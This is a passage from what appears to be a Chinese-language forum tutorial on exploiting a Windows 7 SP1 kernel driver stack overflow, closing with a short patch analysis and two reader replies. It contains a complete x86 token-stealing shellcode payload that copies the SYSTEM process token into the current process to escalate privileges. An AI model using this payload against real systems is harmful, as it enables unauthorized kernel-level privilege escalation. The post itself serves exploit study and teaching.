   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__asm {
       pushad                               ; 保存寄存器
 
 
       xor eax, eax                         ;eax置0
       mov eax, fs:[eax + KTHREAD_OFFSET]   ; 获得当前线程的_KTHREAD结构,KTHREAD_OFFSET=0x124
                                            ; FS:[0x124] 是 _KTHREAD结构
 
       mov eax, [eax + EPROCESS_OFFSET]     ;  找到_EPROCESS结构, nt!_KTHREAD.ApcState.Process,EPROCESS_OFFSET 0x50
 
 
       mov ecx, eax                         ; ecx ,当前进程Eprocess结构体
 
       mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
 
       SearchSystemPID:
           mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink,FLINK_OFFSET=0xb8
           sub eax, FLINK_OFFSET
           cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId,PID_OFFSET=0xb4
           jne SearchSystemPID              ;遍历链表根据PID判断是否为SYSTEM_PID(0x4)
       //替换token
       mov edx, [eax + TOKEN_OFFSET]        ; 获得系统进程token  。TOKEN_OFFSET=0xf8
       mov [ecx + TOKEN_OFFSET], edx        ; 系统进程token替换当前进程token
 
       ; End of Token Stealing Stub
 
       popad                                ; Restore registers state
 
       ; Kernel Recovery Stub
       xor eax, eax                         ; Set NTSTATUS SUCCEESS
       add esp, 12                          ; Fix the stack
       pop ebp                              ; Restore saved EBP
       ret 8                                ; Return cleanly
   }

运行exp,windbg:

 

 

提权成功:

 

五:补丁分析

对RtlCopyMemory的参数进行严格的设置,使用sizeof(kernelbuffer)


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞3
打赏
分享
最新回复 (2)
雪    币: 14289
活跃值: (10594)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
34r7hm4n 7 2021-11-13 16:38
2
0
感谢分享
雪    币: 203
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
davidhee 2022-1-17 20:24
3
0
看到一本天书。感谢分享。
游客
登录 | 注册 方可回帖
返回